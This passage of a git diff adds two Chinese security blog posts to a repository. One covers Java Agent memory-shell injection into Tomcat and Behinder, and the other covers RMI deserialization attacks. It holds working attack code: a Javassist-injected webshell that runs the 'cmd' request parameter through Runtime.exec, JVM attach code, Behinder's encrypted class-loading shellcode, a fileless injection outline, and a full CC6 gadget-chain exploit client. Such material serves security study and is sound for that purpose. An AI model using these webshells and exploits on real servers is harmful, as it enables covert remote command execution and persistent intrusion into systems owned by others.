+ "String cmd = req.getParameter(\"cmd\");\n" + + "if (cmd != null) {\n" + + "Process process = Runtime.getRuntime().exec(cmd);\n" + + "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" + + "new java.io.InputStreamReader(process.getInputStream()));\n" + + "StringBuilder stringBuilder = new StringBuilder();\n" + + "String line;\n" + + "while ((line = bufferedReader.readLine()) != null) {\n" + + "stringBuilder.append(line + '\\n');\n" + + "}\n" + + "res.getOutputStream().write(stringBuilder.toString().getBytes());\n" + + "res.getOutputStream().flush();\n" + + "res.getOutputStream().close();\n" + + "}"; + // 插入到方法开头 + ctMethod.insertBefore(body); + // 返回目标类字节码 + return ctClass.toBytecode(); + + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } +} +``` + +利用这两个类生成 Agent jar 包,MANIFEST.MF 文件内容如下: + +``` +Manifest-Version: 1.0 +Created-By: miaoji +Agent-Class: InjectApplicationFilterChain.TestAgent +Can-Redefine-Classes: true +Can-Retransform-Classes: true +``` + +最后主类 TestMain attach 到 Tomcat 对应的 JVM 虚拟机,并加载对应的 Agent jar 包,Tomcat 运行起来后,对应的 JVM 虚拟机名称是 `org.apache.catalina.startup.Bootstrap`: + +``` +package InjectApplicationFilterChain; + +import com.sun.tools.attach.*; + +import java.io.IOException; +import java.util.List; + +public class TestMain { + public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { + // 调用 VirtualMachine.list() 获取正在运行的 JVM 列表 + List list = VirtualMachine.list(); + // System.out.println(list); + for (VirtualMachineDescriptor vmd : list) { + // System.out.println(vmd.displayName()+":"+vmd.id()); + // 遍历每一个正在运行的 JVM,找到属于 Tomcat 的 JVM 名称 + if (vmd.displayName().contains("org.apache.catalina.startup.Bootstrap")) { + System.out.println(vmd.displayName() + ":" + vmd.id()); + // 连接指定 JVM + VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); + // 加载 Agent + virtualMachine.loadAgent("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\JavaAgentTest\\target\\JavaAgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar"); + // 断开 JVM 连接 + virtualMachine.detach(); + } + } + } +} +``` + +当然,在运行主类之前,我们要先运行一个 Tomcat 。 + +注入成功: + +![](https://changeyourway.github.io/images/image-20241030102633492.png) + +### 注入 HttpServlet + +很多 Servlet 都会选择继承 javax.servlet.http.HttpServlet 并重写其中的 service 方法,所以注入 HttpServlet 的 service 方法会更具通用性。 + +那么直接来看冰蝎中的实现,位于 net.rebeyond.behinder.resource.tools.MemShell 的 agentmain 方法。在这个方法中,HashMap 类 targetClasses 存放了要注入的类、方法和参数信息,并且提到了两个类:javax.servlet.http.HttpServlet 和 jakarta.servlet.http.HttpServlet ,也就是说这两个类都会被作为注入的对象: + +![](https://changeyourway.github.io/images/image-20241030142723645.png) + +如果检测到目标网站用的 weblogic ,那么选择注入 weblogic.servlet.internal.ServletStubImpl 类,这是因为 weblogic 调用 servlet 的逻辑不一样: + +![](https://changeyourway.github.io/images/image-20241030142927646.png) + +接着就是遍历所有已加载的类(这里的 cLasses 是方法第一行用 inst.getAllLoadedClasses() 获取到的),如果找到了 targetClasses 匹配的类名,就在对应的方法中注入 shellCode : + +![](https://changeyourway.github.io/images/image-20241030143615504.png) + +这里并没有用到自定义转换器 ClassFileTransformer 的子类,而是直接调用 Instrumentation 的 redefineClasses 方法,将已经修改好的字节码内容直接替换进去,不需要重新加载类。 + +插入的内容 shellcode 是冰蝎中定义的全局变量,位于 net.rebeyond.behinder.core.Constants : + +![](https://changeyourway.github.io/images/image-20241030145535591.png) + +``` +public static String shellCode = "javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;\njavax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;\njavax.servlet.http.HttpSession session = request.getSession();\nString pathPattern=\"%s\";\nif (request.getRequestURI().matches(pathPattern))\n{\n\tjava.util.Map obj=new java.util.HashMap();\n\tobj.put(\"request\",request);\n\tobj.put(\"response\",response);\n\tobj.put(\"session\",session);\n ClassLoader loader=this.getClass().getClassLoader();\n\tif (request.getMethod().equals(\"POST\"))\n\t{\n\t\ttry\n\t\t{\n\t\t\tString k=\"e45e329feb5d925b\";\n\t\t\tsession.putValue(\"u\",k);\n\t\t\t\n\t\t\tjava.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();\n\t\t\tClass cipherCls=systemLoader.loadClass(\"javax.crypto.Cipher\");\n\n\t\t\tObject c=cipherCls.getDeclaredMethod(\"getInstance\",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{\"AES\"});\n\t\t\tObject keyObj=systemLoader.loadClass(\"javax.crypto.spec.SecretKeySpec\").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),\"AES\"});;\n\t\t\t \n\t\t\tjava.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod(\"init\",new Class[]{int.class,systemLoader.loadClass(\"java.security.Key\")});\n\t\t\tinitMethod.invoke(c,new Object[]{new Integer(2),keyObj});\n\n\t\t\tjava.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod(\"doFinal\",new Class[]{byte[].class});\njava.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();\nbyte[] buf = new byte[512];\nint length=request.getInputStream().read(buf);\nwhile (length>0)\n{\nbos.write(buf,0,length);\nlength=request.getInputStream().read(buf);\n}\n byte[] requestBody=bos.toByteArray();\n\t\t\tbyte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody});\n\t\t\tjava.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});\n\t\t\tdefineMethod.setAccessible(true);\n\t\t\tjava.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});\n\t\t\tconstructor.setAccessible(true);\n\t\t\tjava.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});\n\t\t\tjava.lang.Class c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null});\n\t\t\tc.newInstance().equals(obj);\n\t\t}\n\n\t\tcatch(java.lang.Exception e)\n\t\t{\n\t\t e.printStackTrace();\n\t\t}\n\t\tcatch(java.lang.Error error)\n\t\t{\n\t\terror.printStackTrace();\n\t\t}\n\t\treturn;\n\t}\t\n}\n"; +``` + +这样的 java agent 类生成的 jar 包位于 net.rebeyond.behinder.resource.tools.tools\_1.jar + +使用这个 jar 包 attach JVM 的地方是在 net.rebeyond.behinder.payload.java.MemShell 的 doInjectAgent 方法中: + +![](https://changeyourway.github.io/images/image-20241030145817392.png) + +其中 libPath 应当是指示 jar 包所在的路径。 + +分析完了冰蝎中的注入逻辑,既然已经有了这么完美的代码,那我也不再重复造轮子了。 + +使用 javaAgent 理论上可以在任何类的任何方法注入逻辑,但是注入内存马一般选能够获取到 request 和 response 的地方,这样方便接收请求输出响应。例如 X1r0z 师傅提到的 org.apache.catalina.core.StandardWrapperValve#invoke ,或者是 su18 师傅提到的 org.springframework.web.servlet.DispatcherServlet#doService ,总之多种多样: + +**(粗体为推荐使用的类)** + +- **org.apache.tomcat.websocket.server.WsFilter** +- org.springframework.web.servlet.DispatcherServlet +- org.apache.catalina.core.ApplicationFilterChain +- **org.apache.catalina.core.StandardContextValve** +- javax.servlet.http.HttpServlet( Tomcat 10 之后,javax 变成 jarkara;Weblogic 环境下是 weblogic ) + +## 注入方法 + +由于作者水平有限,所以注入方法也只能粗略的谈谈。 + +Agent 技术依赖于 jar 包,所以想要注入 Agent 内存马,一定要有一个 jar 包落地,所以在过去的利用方式中常常需要上传 jar 包: + +- 2018 年,《利用“进程注入”实现无文件复活 WebShell》一文首次提出 memShell(内存马)概念,利用 Java Agent 技术向 JVM 内存中植入 webshell ,并在 github 上发布 memShell 项目。项目中对内存马的植入过程比较繁琐,需要三个步骤: + 1. 上传 inject.jar 到服务器用来枚举 jvm 并进行植入; + 2. 上传 agent.jar 到服务器用来承载 webshell 功能; + 3. 执行系统命令 java -jar inject.jar 。 +- 2020 年,Behinder(冰蝎) v3.0 版本更新中内置了 Java 内存马注入功能,此次更新利用 self attach 技术,将植入过程由上文中的 3 个步骤减少为 2 个步骤: + 1. 上传 agent.jar 到服务器用来承载 webshell 功能; + 2. 冰蝎服务端调用 Java API 将 agent.jar 植入自身进程完成注入。 + +而后,为了解决需要文件落地的问题,rebeyond 和游望之师傅提出了更好的方案。为了方便理解接下来的内容,这里转载 cincly 师傅对于 JVM 类加载流程的总结。 + +### JVM 类加载流程 + +关于类的加载流程,可以从三个方面去入手: + +- 正常的类加载流程 +- 被 `redefineClasses` 后的类的加载流程 +- 被 `retransformClasses` 后的类的加载流程 + +这一块的代码详细分析起来比较占用篇幅,这里主要阐述一下相关逻辑,以及关键步骤代码。有兴趣的可以自己跟着分析一下代码。 + +下面是 cincly 师傅整理的 java 类的加载流程图,可结合图下面的文字阐述进行理解: + +![](https://changeyourway.github.io/images/20231126104326-93322fca-8c05-1-17303541292023.png) + +- java 类在内存中是以 [InstanceKlass](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/hotspot/src/share/vm/oops/instanceKlass.hpp#L43) 的形式存在的,这个 `InstanceKlass` 中便包含了类中所定义的变量、方法等信息。需要注意的是,当我们使用 java agent 技术时,虽然我们可以在 `ClassFileTransformer.transform` 中能拿到指定类的字节码,但内存中默认情况下其实是不会保存 java 类的原始字节码的。 +- 正常的 java 类加载时,会从指定位置(一般也就是本地的 jar 包中)获取到类字节码,然后会经过 [JvmtiClassFileLoadHookPoster](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/hotspot/src/share/vm/prims/jvmtiExport.cpp#L511) 的转换后,得到最终的字节码。然后编译为对应的 `InstanceKlass`,当然在编译时会进行相应的优化,不过与本主题无关,这里不进行赘述。 + - 而这个 `JvmtiClassFileLoadHookPoster` 中维护着一个 [JvmtiEnv 链](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/hotspot/src/share/vm/prims/jvmtiExport.cpp#L574C12-L574C20) ,我们所用到的 `java agent` 技术中,当 agent 加载时,其实就是在这个 `JvmtiEnv` 链上添加一个 `JvmtiEnv` 节点,从而修改类的字节码,如 [post\_all\_envs()](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/hotspot/src/share/vm/prims/jvmtiExport.cpp#L569) 中所示。 + - `JvmtiEnv` 实例中有个关键的变量: [`_env_local_storage`](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/hotspot/src/share/vm/prims/jvmtiEnvBase.hpp#L97),这个变量所对应的类型是[`_JPLISEnvironment`](https://github.com/openjdk/jdk8u/blob/master/jdk/src/share/instrument/JPLISAgent.h#L90),从中我们可以看到与之关联的 `JPLISAgent`。而这个 `JPLISAgent` 就是 `InstrumentationImpl` 构造方法中的 `mNativeAgent` 。从这个 `_JPLISAgent` 中我们也可找到对应的 [instrumentation 实例](https://github.com/openjdk/jdk8u/blob/master/jdk/src/share/instrument/JPLISAgent.h#L100),以及其要执行的方法: [mTransform](https://github.com/openjdk/jdk8u/blob/master/jdk/src/share/instrument/JPLISAgent.h#L103C1-L103C1),也就是 `InstrumentationImpl` 类中的 [transform](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/jdk/src/share/classes/sun/instrument/InstrumentationImpl.java#L415) 方法。 + - 对于 `JvmtiEnv` 节点来说,具体的转换流程便是通过 [callback](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/hotspot/src/share/vm/prims/jvmtiExport.cpp#L607) 而实现的,具体的 `callback` 方法便是[eventHandlerClassFileLoadHook](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/jdk/src/share/instrument/InvocationAdapter.c#L476),从中我们可以看到这个回调函数便是在 [transformClassFile](https://github.com/openjdk/jdk8u/blob/master/jdk/src/share/instrument/JPLISAgent.c#L833) 方法中调用的 `InstrumentationImpl` 对象的 `transform` 方法,这样便回到了我们熟知的 `java` 代码中。 +- `redefineClasses`,顾名思义,重定义一个类,与普通的类加载流程相比,这里主要就是将类的来源更换为指定的字节码。具体的类加载流程并无太大差别。 +- 当 java 类要被 `retransformClasses`转换时,会根据 `InstanceKlass` [重新生成一份对应的类字节码](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/hotspot/src/share/vm/prims/jvmtiEnv.cpp#L257),并存入缓存中[`InstanceKlass._cached_class_file`](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/hotspot/src/share/vm/oops/instanceKlass.hpp#L258),**下次再被 `retransformClasses` 时将直接使用缓存中的类字节码**。 + - 与正常的类加载流程相比,被 `retransformClasses` 所重新加载的类,不会再经过 `no retransformable jvmti` 链的处理。 +- java agent 在被加载时([onLoad](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/jdk/src/share/instrument/InvocationAdapter.c#L144) / [onAttach](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/jdk/src/share/instrument/InvocationAdapter.c#L294)),jvm 将创建一个 `jvmtiEnv` 实例,对应了上图中的 `no retransformable jvmti` 链。 + - 当第一次添加 `retransformer`(也就是在 `addTransformer` 时指定 `canRetransform` 为 `true`)时,会**通过 [setHasRetransformableTransformers](https://github.com/openjdk/jdk8u/blob/9499e54ebbab17b0f5e48be27c0c7f90806a3c40/jdk/src/share/instrument/JPLISAgent.c#L1061) 方法在 jvmti 链上追加一个新的节点**,也就是上图中的 `retransformable jvmti 链`。 + - 关于图中的 `no retransformable jvmti` 链 与 `retransformable jvmti` 链,其实都是在一条链表上,只不过在使用时根据 [`env->is_retransformable()`](https://github.com/openjdk/jdk8u/blob/jdk8u121-b13/hotspot/src/share/vm/prims/jvmtiExport.cpp#L569) 而分为两批使用。在类加载或是被重定义时,对我们在 `java agent` 中添加的 `transformer` 来说,普通的 `transformer` 永远在 `canRetransform` 为 true 的 `transformer` 之前执行。 + +### 无 agent 文件注入 + +其实 agent 的 jar 包与 loadagent 加载最后都是为了产生 Instrumentation 对象,我们需要的是这个对象的 redefineClasses 方法或者 retransformClasses 方法来重新加载字节码,而这个重新加载的过程只需要提供字节码。那么有没有一种办法脱离 agent jar 包直接获取 Instrumentation 对象呢?游望之在 Linux 下内存马进阶植入技术一文中提出这个方法。 + +#### 获取 Instrumentation 对象 + +java.lang.instrument.Instrumentation 接口的实现类 java.sun.instrument.InstrumentationImpl 有一个指针 nativeAgent ,它是一个 native 指针(native 是一个函数,一个 Native Method 就是一个 Java 调用非 Java 代码的接口。 方法的实现由非 Java 语言实现,比如 C 或 C++ 。): + +![](https://changeyourway.github.io/images/image-20241031141647329.png) + +#### 获取 nativeAgent 指针 + +接下来要想办法获得这个 nativeAgent 指针,为更底层的调用操作做铺垫。如何获得 nativeAgent 指针呢?先追踪 mNativeAgent 参数。mNativeAgent 被传入 redefineClasses0 方法: + +![](https://changeyourway.github.io/images/image-20241031142153781.png) + +redefineClasses0 方法在 Java 层的定义如下: + +![](https://changeyourway.github.io/images/image-20241031144750179.png) + +native 层在 idea 中没法跟进了,直接复制代码看吧。 + +redefineClasses0 方法的实现是这样的: + +``` +/* + * Class: sun_instrument_InstrumentationImpl + * Method: redefineClasses0 + * Signature: ([Ljava/lang/instrument/ClassDefinition;)V + */ +JNIEXPORT void JNICALL Java_sun_instrument_InstrumentationImpl_redefineClasses0 + (JNIEnv * jnienv, jobject implThis, jlong agent, jobjectArray classDefinitions) { + redefineClasses(jnienv, (JPLISAgent*)(intptr_t)agent, classDefinitions); +} + +/* + * Java code must not call this with a null list or a zero-length list. + */ +void +redefineClasses(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) { + jvmtiEnv* jvmtienv = jvmti(agent); + jboolean errorOccurred = JNI_FALSE; + jclass classDefClass = NULL; + jmethodID getDefinitionClassMethodID = NULL; + jmethodID getDefinitionClassFileMethodID = NULL; + jvmtiClassDefinition* classDefs = NULL; + jbyteArray* targetFiles = NULL; + jsize numDefs = 0; + + jplis_assert(classDefinitions != NULL); + + numDefs = (*jnienv)->GetArrayLength(jnienv, classDefinitions); + errorOccurred = checkForThrowable(jnienv); + jplis_assert(!errorOccurred); + + if (!errorOccurred) { + jplis_assert(numDefs > 0); + /* get method IDs for methods to call on class definitions */ + classDefClass = (*jnienv)->FindClass(jnienv, "java/lang/instrument/ClassDefinition"); + errorOccurred = checkForThrowable(jnienv); + jplis_assert(!errorOccurred); + } + + ... +} +``` + +Java\_sun\_instrument\_InstrumentationImpl\_redefineClasses0 是 redefineClasses0 的 JNI 实现,其中有四个参数: + +- `JNIEnv *jnienv`:JNI 环境指针,用于与 JVM 交互。 +- `jobject implThis`:Java 对象的引用。 +- `jlong agent`:JVMTI 代理的指针,转换为 `JPLISAgent` 类型。它对应 long nativeAgent 参数。 +- `jobjectArray classDefinitions`:表示类定义的数组(`ClassDefinition` 对象数组)。它对应 ClassDefinition\[\] definitions 参数。 + +redefineClasses0 方法接下来调用 redefineClasses 方法,agent 参数被强转为 JPLISAgent 类型。JPLISAgent 结构体定义如下: + +``` +struct _JPLISAgent { + JavaVM * mJVM; /* handle to the JVM */ + JPLISEnvironment mNormalEnvironment; /* for every thing but retransform stuff */ + JPLISEnvironment mRetransformEnvironment;/* for retransform stuff only */ + jobject mInstrumentationImpl; /* handle to the Instrumentation instance */ + jmethodID mPremainCaller; /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */ + jmethodID mAgentmainCaller; /* method on the InstrumentationImpl for agents loaded via attach mechanism */ + jmethodID mTransform; /* method on the InstrumentationImpl that does the class file transform */ + jboolean mRedefineAvailable; /* cached answer to "does this agent support redefine" */ + jboolean mRedefineAdded; /* indicates if can_redefine_classes capability has been added */ + jboolean mNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */ + jboolean mNativeMethodPrefixAdded; /* indicates if can_set_native_method_prefix capability has been added */ + char const * mAgentClassName; /* agent class name */ + char const * mOptionsString; /* -javaagent options string */ +}; + +struct _JPLISEnvironment { + jvmtiEnv * mJVMTIEnv; /* the JVM TI environment */ + JPLISAgent * mAgent; /* corresponding agent */ + jboolean mIsRetransformer; /* indicates if special environment */ +}; +``` + +redefineClasses 的第一行代码是 `jvmtiEnv* jvmtienv = jvmti(agent)` , 这个 jvmti 是个宏,宏定义的意思是从 \_JPLISAgent 结构体中提取成员变量 mNormalEnvironment ,再从 mNormalEnvironment 中提取 mJVMTIEnv: + +``` +#define jvmti(a) a->mNormalEnvironment.mJVMTIEnv +``` + +jvmtiEnv 提供了RedefineClasses 函数,Java Instrumentation API 的同样功能就是封装于此之上。既然如此,后面起作用的就是这个 jvmtiEnv 指针了。 + +jvmtiEnv 指针的获取方式如宏定义中所展示的那样,是从 \_JPLISAgent 结构体中取成员属性 mNormalEnvironment ,这个 mNormalEnvironment 又是 JPLISEnvironment 类型,然后从 mNormalEnvironment 中取 mJVMTIEnv 属性。于是我们希望能够知道这个 mJVMTIEnv 属性是怎样被赋值的,也即整个 \_JPLISAgent 结构体变量是如何被创建的,这样才能去尝试修改。 + +#### 获取 jvmtiEnv 指针 + +目标是修改 jvmtiEnv 指针,但是从创建 \_JPLISAgent 结构体变量的方式入手不太可行,游望之师傅提到 JPLISAgent 实例是通过 native 函数 createNewJPLISAgent 创建的,但该函数是内部函数,没有从动态库中导出,Java 层也没办法直接调用。 + +所以思路回到获取 jvmtiEnv 指针本身。在 createNewJPLISAgent 函数中有这样一段代码: + +``` +*agent_ptr = NULL; + jnierror = (*vm)->GetEnv( vm, + (void **) &jvmtienv, +``` + +其中 vm 是 JavaVM 指针,这指示了 jvmtiEnv 指针可以通过 JavaVM 对象获取。而在 JDK 的 jni.h 中,有定义 JavaVM 对象的导出方法( jni.h 是 JNI(Java Native Interface)库的头文件): + +``` +_JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_GetCreatedJavaVMs(JavaVM **, jsize, jsize *); +``` + +该方法由 libjvm.so 导出,我们可以通过此 API 获得 JavaVM 对象,通过 JavaVM 对象就能获得 jvmtiEnv 指针。 + +rebeyond 师傅解释:JNI\_GetCreatedJavaVMs 函数是 JVM 提供给 Java Native 开发人员用来在 Native 层获取 VM 对象的,因为是开放给开发者使用的,所以该函数是导出的。我们可以直接调用这个函数来获取 JavaVM 对象。而该函数的规矩用法是先开发一个 Java 的 dll 动态链接库,然后在 Java 代码中加载这个 dll 库,然后再调用 dll 中的方法。 + +但是这样会造成有文件落地,为了无文件的调用 JNI\_GetCreatedJavaVMs 函数,rebeyond 师傅提出了在 Windows 系统中通过获取 JNI\_GetCreatedJavaVMs 地址的方法来调用它,大致流程如下: + +1. 先获取到当前进程 kernel32.dll 的基址; +2. 在 kernel32.dll 的输出表中,获取 GetProcessAddress 函数的地址; +3. 调用 GetProcessAddress 获取 LoadLibraryA 函数的地址; +4. 调用 LoadLibraryA 加载 jvm.dll 获取 jvm.dll 模块在当前进程中的基址; +5. 调用 GerProcAddress 在 jvm.dll 中获取 JNI\_GetCreatedJavaVMs 的地址; +6. 调用 JNI\_GetCreatedJavaVMs ; +7. 还原现场,安全退出线程,优雅地离开,避免 shellcode 执行完后进程崩溃。 + +而在 Linux 环境下,游望之师傅也提出了获取 JNI\_GetCreatedJavaVMs 地址并调用的方式: + +1. 解析 ELF ,得到 Java\_java\_io\_RandomAccessFile\_length 和 JNI\_GetCreatedJavaVMs +2. 生成利用 JNI\_GetCreatedJavaVMs 获取 jvmtienv 指针的 shellcode +3. 在 Java\_java\_io\_RandomAccessFile\_length 放置 shellcode 并调用 +4. 恢复 Java\_java\_io\_RandomAccessFile\_length 代码 + +后续的话就可以利用获取到的 jvmtienv 指针来构造 \_JPLISAgent 结构体变量了。 + +总结就是利用 Linux 中的 /proc/self/mem 修改内存,将 Java 原生的 native 函数(比如 Java\_java\_io\_RandomAccessFile\_length)的地址指向的内容替换为 shellcode ,这样就可以执行 shellcode 了。执行完后再把原来的内容放回去,好一招偷天换日。不过既然可以修改内存了那其实就可以执行任意代码了。 + +通过这样的方式就实现了只需要通过执行代码就能注入 Agent 内存马,而不需要文件落地。我对内存和汇编还不太熟,所以后面没有具体去分析了。 + +**JNI 介绍** + +JNI(Java Native Interface)Java 本地接口,又叫 Java 原生接口。它允许 Java 调用 C/C++ 的代码,同时也允许在 C/C++ 中调用 Java 的代码。 + +这里涉及到了 JNI 这个知识点,有空的话出一篇它的使用方法。 + +## 总结 + +越是深入底层,能干的事情就越多。 + +## 参考文章 + +[su18 - Java Agent 内存马](https://www.javasec.org/javaweb/MemoryShell/#java-agent-%E5%86%85%E5%AD%98%E9%A9%AC) + +[枫 - Java 安全学习 —— 内存马](https://goodapple.top/archives/1355) + +[rebeyond - 论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/t/11640?u_atoken=51e90d7cf00b65040063ba01952906cd&u_asig=1a0c380917302884758923926e003f) + +[X1r0z - Java Agent 内存马](https://exp10it.io/2023/01/java-agent-%E5%86%85%E5%AD%98%E9%A9%AC/#%E5%88%A9%E7%94%A8-java-agent-%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC) + +[cincly - Agent 内存马的攻防之道](https://xz.aliyun.com/t/13110?u_atoken=e86e6b4001ff42cfc61f74967dc01666&u_asig=ac11000117303458213856370e003f) + +[游望之 - Linux 下内存马进阶植入技术](https://xz.aliyun.com/t/10186) diff --git a/books/漏洞篇 - RMI 相关的攻击.md b/books/漏洞篇 - RMI 相关的攻击.md new file mode 100644 index 0000000..85800d0 --- /dev/null +++ b/books/漏洞篇 - RMI 相关的攻击.md @@ -0,0 +1,578 @@ +# 漏洞篇 - RMI 相关的攻击 +> 2024-08-28 +> 来源:https://changeyourway.github.io/2024/08/28/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-RMI%E7%9B%B8%E5%85%B3%E7%9A%84%E6%94%BB%E5%87%BB/ + +## 攻击 RMI + +前置知识:[基础篇 - RMI 协议详解](https://changeyourway.github.io/2024/07/08/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-RMI%E8%BF%9C%E7%A8%8B%E6%96%B9%E6%B3%95%E8%B0%83%E7%94%A8%E5%8D%8F%E8%AE%AE/#%E6%9C%8D%E5%8A%A1%E7%AB%AF%E8%8E%B7%E5%8F%96-Registry-%E4%BB%A3%E7%90%86%E5%AF%B9%E8%B1%A1) + +我们可以将参与 RMI 远程调用的角色分为三个:Server 端、Registry 端、Client 端(一般来说 Server 端和 Registry 端在一起),它们三者之间都会进行通信,并且全部的通信流程均通过序列化与反序列化实现。基于此,我们可以实现反序列化攻击。 + +### 攻击 Server 端 + +#### 参数反序列化 + +如果服务端提供的服务对象参数是 Object 类型,那么意味着客户端远程调用时可以传递任意类型的参数,这个参数将会被序列化发送到服务端,然后在服务端反序列化。 + +例如,服务端的 SayHello 服务有一个方法 eval ,其参数是 Object 类型: + +![](https://changeyourway.github.io/images/image-20240708164106474.png) + +以 CC6 弹计算器为例(前提是服务端有 CC 依赖),客户端传递一个恶意对象: + +``` +package Client; + +import Server.SayHelloInterface; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import org.apache.commons.collections.Transformer; +import java.lang.reflect.Field; +import java.rmi.NotBoundException; +import java.rmi.RemoteException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.util.HashMap; +import java.util.Map; + +public class CC6Test { + public static Object getEvilClass() throws NoSuchFieldException, IllegalAccessException { + // 获取包含执行类的 ChainedTransformer 对象 + Transformer[] transformers = new Transformer[]{ + // 将传入参数固定为 Runtime.class + new ConstantTransformer(Runtime.class), + new InvokerTransformer + ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), + new InvokerTransformer + ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), + new InvokerTransformer + ("exec", new Class[]{String.class}, new Object[]{"calc"}) + }; + ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); + + // 新建一个 Map 对象,无关紧要,只是作为参数传入 + Map hashMap = new HashMap<>(); + + // 初始化利用链 LazyMap + Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); + + // 初始化利用链 TiedMapEntry ,第二个参数为 key 值,先随便传一个 + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key"); + + // 初始化利用链 HashMap + HashMap map = new HashMap<>(); + map.put(tiedMapEntry, "test"); + + // 删除 lazymap 对象中的 key 值 + lazymap.remove("key"); + + // 反射修改 lazymap 对象的 factory 属性 + Class lazymapClass = lazymap.getClass(); + Field factory = lazymapClass.getDeclaredField("factory"); + factory.setAccessible(true); + factory.set(lazymap, chainedTransformer); + + return map; + } + + public static void main(String[] args) throws RemoteException, NotBoundException, NoSuchFieldException, IllegalAccessException { + // 连接到服务器 localhost ,端口 1099 : + Registry registry = LocateRegistry.getRegistry("localhost", 1099); + // 查找名称为 "SayHello" 的服务并强制转型为 SayHelloInterface 类型: + SayHelloInterface sayHello = (SayHelloInterface) registry.lookup("SayHello"); + // 将构造好的 HashMap 对象作为参数传入 + sayHello.eval(getEvilClass()); + } +} +``` + +先启动服务端,然后启动客户端,弹出计算器: + +![](https://changeyourway.github.io/images/image-20240708165345974.png) + +参数为 Object 类型就可以传递任意参数,那如果不是 Object 类型呢? + +前面提到客户端调用服务方法时是直接与服务端进行通信的,而服务端使用 UnicastServerRef 的 dispatch 方法来处理客户端的请求。 + +在查找方法时,它用方法的 hash 值在 this.hashToMethod\_Map 中查找。这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。 + +![](https://changeyourway.github.io/images/image-20240708171013758.png) + +如果说服务的参数不是 Object 类型,但是我们想上传恶意类的话,理论上可以伪造 hash ,这个 hash 在服务端是可以找到对应的方法的,但是实际传递的方法的参数还是恶意类。 + +在 mogwailabs 的 \[PPT\]([https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides](https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides) Exploiting RMI Services.pdf) 中提出了以下 4 种方法: + +- 通过网络代理,在流量层修改数据 +- 自定义 “java.rmi” 包的代码,自行实现 +- 字节码修改 +- 使用 debugger + +我们来实现一下使用 debugger 的攻击方式,也就是在调试时修改变量值。 + +###### 调试时修改变量值 + +现在将服务端的方法参数改为 String 类型: + +![](https://changeyourway.github.io/images/image-20240709141401511.png) + +客户端定义了一个 getEvilClass() 方法用来获取 CC6 攻击链最终的 HashMap 对象。 + +客户端在调用时先传入一个普通的字符串: + +![](https://changeyourway.github.io/images/image-20240709145850132.png) + +运行服务端,调试客户端,在 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法处下断点。 + +此时我们进入到 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法,这里的 method 表示要调用的方法,args 是一个 Object 数组,表示要传递的参数: + +![](https://changeyourway.github.io/images/image-20240709150236473.png) + +其中 args\[0\] 正是我们传递的字符串参数,我们将其改为恶意对象,可以在上图红框处右键 -> Set Value : + +![](https://changeyourway.github.io/images/image-20240709150345553.png) + +然后设置 args\[0\] = CC6Test.getEvilClass() 即可: + +![](https://changeyourway.github.io/images/image-20240709150424485.png) + +这样就成功修改了 args\[0\] 为恶意类,继续运行,可以看到弹出计算器: + +![](https://changeyourway.github.io/images/image-20240709150721649.png) + +因为调用的是本地的 RemoteObjectInvocationHandler 的 invokeRemoteMethod 